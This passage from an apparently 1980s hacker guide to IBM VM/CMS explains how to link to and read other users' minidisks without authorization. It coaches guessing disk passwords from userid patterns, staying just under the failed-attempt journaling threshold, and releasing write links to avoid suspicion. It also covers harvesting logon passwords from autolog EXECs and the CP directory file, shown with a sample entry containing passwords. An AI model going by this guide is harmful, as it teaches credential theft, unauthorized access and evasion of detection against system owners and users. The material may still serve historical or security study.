|
|||
|
access our minidisk whose userid is JOE, he could access either our 191 address
|
|||
|
or our 192 address. The 190 and 19E addresses are usually automatically
|
|||
|
accessed by nearly all the users of the system since it contains system
|
|||
|
commands. We are assuming that BUBBA indeed has a minidisk with the virtual
|
|||
|
address of 191. Some userid's may not have any or they may have addresses which
|
|||
|
are somewhat obscure, say of 13A or 503. The only way we would be able to
|
|||
|
access those assuming BUBBA did not give them to us would be to guess them.
|
|||
|
This would be rather difficult, timeconsuming, and dangerous as we will soon
|
|||
|
see.
|
|||
|
|
|||
|
VADDR2 is any address which is not currently in our control, (ie. in our Q
|
|||
|
Search which would be 190, 191, 192, 19E) and is in the range of 001 to 5FF in
|
|||
|
Basic Control or FFF in Extended Control. In this example, we chose to use 555.
|
|||
|
We could have easily used 104, 33F, 5FA, etc.
|
|||
|
|
|||
|
MODE is the access mode which consists of up to 2 letters. The first letter
|
|||
|
specifies the Primary access mode. The second letter is optional and designates
|
|||
|
the alternate access mode. If the primary mode is not available, the alternate
|
|||
|
is used.
|
|||
|
|
|||
|
The access mode we used was RR. Valid access modes are:
|
|||
|
|
|||
|
R Primary Read/Only access. This is the default. You can opt to not specify
|
|||
|
an access mode when linking to a users' disk, and this is the mode which is
|
|||
|
used. It will only work if no other links are in effect.
|
|||
|
|
|||
|
RR This allows read access no matter what links are in effect to that users'
|
|||
|
disk.
|
|||
|
|
|||
|
W Primary Write access. This is only good if no other links are in effect.
|
|||
|
|
|||
|
WR If Write is available then the link will be made, if not it will goto Read.
|
|||
|
|
|||
|
M Primary Multiple access.
|
|||
|
|
|||
|
MR Resorts to Read if Multi is unavailabe.
|
|||
|
|
|||
|
MW This garauntees write access no matter what.
|
|||
|
|
|||
|
|
|||
|
If another user has write access to one of your disks when you log on, your
|
|||
|
access will be forced to Read/Only. For this reason, you should have read
|
|||
|
access to others disks instead of write. If you wish to see what files have a
|
|||
|
filemode of zero, then link with write access, view or access those files, then
|
|||
|
RELEASE the disk and re-access it via read to avoid suspicion by that user of
|
|||
|
unauthorized individuals gaining write access to his files.
|
|||
|
|
|||
|
If a user has write access to a disk, you cannot gain write access unless you
|
|||
|
use a mode of MW. It is not recommended to have write access to anothers' disk
|
|||
|
if they themselves have write access. CMS cannot guarantee the integrity of
|
|||
|
the data on a disk which has more than one person linked to it with write
|
|||
|
access. Now if you see that the user is in a disconneced (DSC) state through
|
|||
|
the Q NAMES command, then it shouldn't be a problem if you have write access
|
|||
|
also since the person is not active. If that person re-connects however, then
|
|||
|
it is advisable to RELEASE that disk as soon as possible to avoid any chance of
|
|||
|
data being destoyed.
|
|||
|
|
|||
|
PASS=PASSWORD like the logon password, it can be a 1-8 character string that
|
|||
|
MUST match the access mode password for the VADDR1 of the userid which you are
|
|||
|
attempting to gain access to. Up to three access mode passwords can exist for
|
|||
|
each minidisk, R, W, and M.
|
|||
|
|
|||
|
If the installation uses the Password Suppression Facility, an INVALID FORMAT
|
|||
|
message will be issued when you attempt to enter the password for a disk on the
|
|||
|
same line as the LINK command was entered on. Obviously this is to prevent
|
|||
|
people from 'spoofing' the password off the screen or from printouts found in
|
|||
|
the trash. If this occurs, just hit return after entering the access mode, and
|
|||
|
wait for the enter password response.
|
|||
|
|
|||
|
Every disk password along with every users password and other information is
|
|||
|
contained in the CP Directory. If the password is "ALL" then a password is not
|
|||
|
required for any user so you will not be asked for one. You will then recieve
|
|||
|
a ready message indicating that the transaction has just been completed.
|
|||
|
|
|||
|
If you receive the message: "BUBBA 191 NOT LINKED; NO READ PASSWORD" then
|
|||
|
within the CP Directory, there is no read password at all. This means that the
|
|||
|
only way you can gain access to BUBBA's directory would be by getting his logon
|
|||
|
password. One note, I believe that a users logon password cannot be any of his
|
|||
|
access mode passwords. The reasons for this are obvious. If BUBBA wants JOE to
|
|||
|
access a disk, then he can give JOE the corresponding disk password. If this
|
|||
|
was identical to his logon password then JOE could logon as BUBBA and access
|
|||
|
all BUBBA's disks with no problem, and at the same time posses all the privs
|
|||
|
that BUBBA has. Within the CP directory, if there is no password entry for read
|
|||
|
access then there are no entries for write nor multi. If there is no entry for
|
|||
|
write then there may or may not be an entry for read, but definitly not one for
|
|||
|
multi. And finally if there is no entry for multi then there may or may not be
|
|||
|
entries for read and write.
|
|||
|
|
|||
|
The methods for obtaining disk access passwords are the same as anything else.
|
|||
|
Common sense and "Password Psychology" come into account along with the element
|
|||
|
of luck.
|
|||
|
|
|||
|
Assume the userid is VMTEST and you are hacking the READ password. Passwords
|
|||
|
may be: RVMTEST, RVM, RTEST, RTESTVM. Others may be READ, READVM, VMREAD,
|
|||
|
READTEST, TESTREAD and even VMTEST. Of course it could be something like: J2*Z5
|
|||
|
Many times the same password will be used for R, W, and M access instead of
|
|||
|
three separate passwords.
|
|||
|
|
|||
|
CP keeps track of unsuccessful LINK attempts due to invalid passwords. When you
|
|||
|
exceed the maximum number of incorrect password attempts, which usually
|
|||
|
defaults to 10, the link command will be disabled for the remainder of your
|
|||
|
stay on the system. All you have to do is re-logon and you will have full use
|
|||
|
of LINK again.
|
|||
|
|
|||
|
If the LOGON/AUTOLOG/LINK journaling facility is activated, unsuccessful link
|
|||
|
attempts due to the above are recorded. When the threshold is reached the
|
|||
|
userid whose password you are trying to hack is sent a message. Therefore, keep
|
|||
|
track of the number of attempts you make and keep just short of the system
|
|||
|
threshold.
|
|||
|
|
|||
|
After successfully linking to a users' disk, you must issue the ACCESS command
|
|||
|
in order to get a directory listing or access any files on that disk. This is
|
|||
|
accomplished by:
|
|||
|
|
|||
|
.ACCESS VADDR2 B
|
|||
|
|
|||
|
VADDR2 is the address after 'AS' in your link command line, and 'B' is the
|
|||
|
filemode letter which you wish to access the disk as. This can be anything but
|
|||
|
the letters which you have already assigned up to a total of 26 (A-Z).
|
|||
|
|
|||
|
After accessing the disk to your hearts content, you can then RELEASE it. When
|
|||
|
you logoff the disk is automatically released. Releasing the disk is not
|
|||
|
necessary unless you already are attached to 26 minidisks, and you want to
|
|||
|
access more. You would then release whatever disks you wish and link then
|
|||
|
access others. After releasing disks, and you want to re-access that disk, you
|
|||
|
do not have to issue another link command but merely the ACCess command and
|
|||
|
what filemode you wish it to be.
|
|||
|
|
|||
|
The QUERY DASD command will list the minidisks that most everyone on the system
|
|||
|
has access to. All of these may or maynot be automatically accessed upon logon.
|
|||
|
For this reason, you should issue it, then all you have to do is ACCess the
|
|||
|
virtual address and define the filemode.
|
|||
|
|
|||
|
.Q DASD
|
|||
|
|
|||
|
DASD 190 3380 SYSRES R/O 32 CYL
|
|||
|
DASD 191 3380 SYSRES R/W 1 CYL
|
|||
|
DASD 192 3380 SYSRES R/O 2 CYL
|
|||
|
DASD 193 3380 SYSRES R/O 19 CYL
|
|||
|
DASD 194 3380 SYSRES R/O 21 CYL
|
|||
|
DASD 19E 3380 SYSRES R/O 27 CYL
|
|||
|
|
|||
|
In our Q SEARCH list, we have access to 190 as the system disk, 191 as our A
|
|||
|
disk, 192 as our D disk, 19E as the systems' Y disk. Both 193 and 194 are
|
|||
|
accessable but have not been accessed by us. Thus:
|
|||
|
|
|||
|
.ACC 193 B
|
|||
|
B (193) R/O
|
|||
|
.
|
|||
|
|
|||
|
Now the 193 disk is our B disk and accessable by us. You can perform the same
|
|||
|
procedure for the 194 disk.
|
|||
|
|
|||
|
|
|||
|
DIRMAINT:
|
|||
|
---------
|
|||
|
|
|||
|
The Directory Maintenance utility can be found on some systems. If it is
|
|||
|
running, DIRMAINT should be a valid userid. The DIRMAINT userid is
|
|||
|
automatically initialized when the system is started up. It remains in
|
|||
|
Disconnected mode awaiting transactions which contain directory maintenance
|
|||
|
commands.
|
|||
|
|
|||
|
|
|||
|
If you come across a system with DIRMAINT, it will provide you with all the
|
|||
|
information you need to know about it. A few commands are important, at least
|
|||
|
to the hacker:
|
|||
|
|
|||
|
MDPW This displays access passwords for one or all of that userid's minidisks.
|
|||
|
|
|||
|
.DIRM MDPW
|
|||
|
DVHDIR005R ENTER CURRENT CP PASSWORD TO VALIDATE COMMAND OR A NULL TO EXIT:
|
|||
|
R; T=0.12/0.15 19:33:34
|
|||
|
DVHMDF301I MINIDISK 191: RBUBBA WBUBBA MBUBBA
|
|||
|
DVHMDF301I MINIDISK 192: RBUBPW BONEHEAD MULTIBUB
|
|||
|
|
|||
|
The reason you must enter the users logon password is obvious. If someone walks
|
|||
|
up to a users terminal and wants to know what the guys disk passwords are all
|
|||
|
he would have to do is enter this command and would get them, except for the
|
|||
|
fact that it does ask for the users logon password, thus, protecting the disk
|
|||
|
passwords.
|
|||
|
|
|||
|
Help Get more info on DIRM commands.
|
|||
|
PW This changes a users logon password
|
|||
|
PW? Find out how long it was since the user changed his logon password.
|
|||
|
MDISK Change access mode, change, add, or delete passwords.
|
|||
|
LINK Cause an automatic link, at logon, to another users minidisk.
|
|||
|
FOR Enter a DIRMaint command for another user if authorized.
|
|||
|
|
|||
|
|
|||
|
THINGS YOU WANT:
|
|||
|
----------------
|
|||
|
|
|||
|
Things you want are: More valid userid's to try passwords on, actual logon
|
|||
|
passwords, and disk access passwords. Obtaining userid's can be accomplished by
|
|||
|
using the Q NAMES command every time you logon. Obtaining logon passwords isn't
|
|||
|
as simple. There are a couple of places which you will want to explore.
|
|||
|
|
|||
|
The AUTOLOG1 or AUTOOP virtual machines (userid's) usually auto-logon other
|
|||
|
userid's. Now, in order to do this they must have those users' passwords. These
|
|||
|
are contained within various EXECs within their user directory. If you can
|
|||
|
obtain a valid disk access password for whichever one of these is running on
|
|||
|
your particular system, you can get more passwords and possibly some disk
|
|||
|
access passwords for about 10 other userid's. This should allow you to get more
|
|||
|
disk access passwords and hopefully more logon passwords. Nevertheless, having
|
|||
|
obtained a few more passwords, and not using them until the original one you
|
|||
|
hacked dies, will greatly extend your stay on the system.
|
|||
|
|
|||
|
EXEC files from any user may contain more disk access passwords for other users
|
|||
|
and those users directories may contain EXECs which have more passwords, and
|
|||
|
so on. Of course many other types of files may contain this type of
|
|||
|
information.
|
|||
|
|
|||
|
The CP directory, this is similar to a big bullseye on a target. This
|
|||
|
directory, as previously explained contains users' passwords, various system
|
|||
|
information and minidisk passwords. The directory usually goes under the
|
|||
|
filename/filetype of USER DIRECT. It can be anywhere on the system, and can
|
|||
|
have a different name which in my view would add to system security. It is
|
|||
|
usually found in either or both of two users' directorys which I leave to you
|
|||
|
to find (sorry). This is a very big weakness in CMS due to the fact that if you
|
|||
|
can find what userid the directory is in, and it's disk access password, you've
|
|||
|
got the system by the balls. The file may also have a filetype of INDEX which
|
|||
|
is a compilation or sorting of pertinent information used for speeding up
|
|||
|
various procedures the system carries out constantly. A typical entry in the
|
|||
|
USER DIRECT file would look like:
|
|||
|
|
|||
|
USER BUBBA BUBAPASS 1M 3M BG
|
|||
|
|
|||
|
VMU01000
|
|||
|
ACCOUNT 101 SYSPROG
|
|||
|
|
|||
|
VMU01010
|
|||
|
IPL CMS
|
|||
|
|
|||
|
VMU01020
|
|||
|
CONSOLE 00D 3215
|
|||
|
|
|||
|
VMU01030
|
|||
|
SPOOL 00C 2540 READER *
|
|||
|
|
|||
|
VMU01040
|
|||
|
SPOOL 00D 2540 PUNCH *
|
|||
|
|
|||
|
VMU01050
|
|||
|
SPOOL 00E 1403 A
|
|||
|
|
|||
|
VMU01060
|
|||
|
LINK MAINT 190 190 RR
|
|||
|
|
|||
|
VMU01070
|
|||
|
LINK MAINT 19D 19D RR
|
|||
|
|
|||
|
VMU01080
|
|||
|
LINK MAINT 19E 19E RR
|
|||
|
|
|||
|
VMU01090
|
|||
|
MDISK 191 3350 152 003 VMPK01 MR RBUBBA WBUBBA MBUBBA
|
|||
|
MDISK 192 3350 152 003 VMPK01 MR RBUBPW BONEHEAD MULTIBUB
|
|||
|
|
|||
|
VMU01100
|
|||
|
*
|
|||
|
|
|||
|
|
|||
|
The first line gives the userid of BUBBA, password BUBAPASS, 1 and 3 Megs of
|
|||
|
virtual memory, and Privilege Classes B and G. The next line gives the account
|
|||
|
number and department or owner of the account. The next few lines define
|
|||
|
miscellaneous system information. Next, three lines of what disks should be
|
|||
|
automatically linked to upon logon. And finally the minidisk (MDISK) virtual
|
|||
|
addresses and corresponding passwords.
|
|||
|
|
|||
|
|
|||
|
CONCLUSION:
|
|||
|
-----------
|
|||
|
|
|||
|
As usual, there is always more I could add to an article like this one. I did
|
|||
|
not want to keep writing part after part so I wrote a 'complete' article on
|
|||
|
Hacking VM/CMS. I apologize for its length of over 50K but I wanted to mention
|
|||
|
everything you needed to become familiar with the Operating System and its
|
|||
|
Security/Insecurity. I intentionally 'forgot' to mention various information
|
|||
|
which would put sensitive and destructive information in the hands of anyone
|
|||
|
who reads this article. The information within this article can and will be
|
|||
|
different from system to system so don't take anything too literally. This
|
|||
|
article is comprised: 80% information from actual system use, 10% CMS help
|
|||
|
files, and 10% from various CMS documentation. I may write a followup article
|
|||
|
of shorter length as more people become familiar with CMS.
|
|||
|
|
|||
|
Lex Luthor
|
|||
|
|